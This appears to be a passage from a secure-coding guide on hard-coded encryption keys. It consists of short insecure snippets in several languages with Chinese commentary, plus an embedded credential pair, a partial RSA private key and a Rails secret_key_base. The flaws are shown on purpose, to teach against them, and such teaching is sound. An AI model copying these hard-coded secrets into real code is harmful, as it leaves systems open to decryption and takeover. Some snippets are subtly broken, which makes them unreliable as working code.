var cipher = crypto.createCipher(algorithm, encryptionKey);
...
...
{
"username":"scott"
"password":"tiger"
}
...
...
NSString encryptionKey = "lakdsljkalkjlksdfkl";
...
...
$encryption_key = 'hardcoded_encryption_key';
//$filter = new Zend_Filter_Encrypt('hardcoded_encryption_key');
$filter = new Zend_Filter_Encrypt($encryption_key);
$filter->setVector('myIV');
$encrypted = $filter->filter('text_to_be_encrypted');
print $encrypted;
...
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
_hardcoded__key_。心怀不轨的雇员可以利用其对此信息的访问权限来破坏系统加密的数据。
require 'openssl'
...
encryption_key = 'hardcoded_encryption_key'
...
cipher = OpenSSL::Cipher::AES.new(256, 'GCM')
cipher.encrypt
...
cipher.key=encryption_key
...
示例 2：以下代码使用硬编码加密密钥执行 AES 加密：
...
let encryptionKey = "YELLOW_SUBMARINE"
...
...
CCCrypt(UInt32(kCCEncrypt),
UInt32(kCCAlgorithmAES128),
UInt32(kCCOptionPKCS7Padding),
"YELLOW_SUBMARINE",
16,
iv,
plaintext,
plaintext.length,
ciphertext.mutableBytes,
ciphertext.length,
&numBytesEncrypted)
...
...
-----BEGIN RSA PRIVATE KEY-----
MIICXwIBAAKBgQCtVacMo+w+TFOm0p8MlBWvwXtVRpF28V+o0RNPx5x/1TJTlKEl
...
DiJPJY2LNBQ7jS685mb6650JdvH8uQl6oeJ/aUmq63o2zOw=
-----END RSA PRIVATE KEY-----
...
...
Dim encryptionKey As String
Set encryptionKey = "lakdsljkalkjlksdfkl"
Dim AES As New System.Security.Cryptography.RijndaelManaged
On Error GoTo ErrorHandler
AES.Key = System.Text.Encoding.ASCII.GetBytes(encryptionKey)
...
Exit Sub
...
...
production:
secret_key_base: 0ab25e26286c4fb9f7335947994d83f19861354f19702b7bbb84e85310b287ba3cdc348f1f19c8cdc08a7c6c5ad2c20ad31ecda177d2c74aa2d48ec4a346c40e
...